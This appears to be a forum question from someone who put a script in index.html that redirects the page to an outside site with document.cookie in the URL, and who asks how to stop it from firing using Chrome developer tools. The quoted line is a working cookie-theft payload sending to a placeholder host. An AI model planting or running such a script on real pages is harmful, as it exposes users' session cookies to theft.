title: How to disable code that sends cookies to specific websites in HTML
body: <p>In a document called  <code>index.html</code> I put a code
  <code>&lt;script&gt;document.location=document.location='https://specificwebsite.php?cookie='+document.cookie;&lt;/script&gt;</code>
  that triggers a cookie on a specific website.</p>
  <p>So, if you enter the <code>index.html</code>, it will continuously generate a cookie on a specific website and the user will leave the <code>index.html</code>. I want to stay on the <code>index.html</code> webpage. Is there a way to prevent cookies from being generated through <code>chrome developer tools (f12)</code> or <code>other methods</code> without directly editing the <code>index.html</code> document?</p>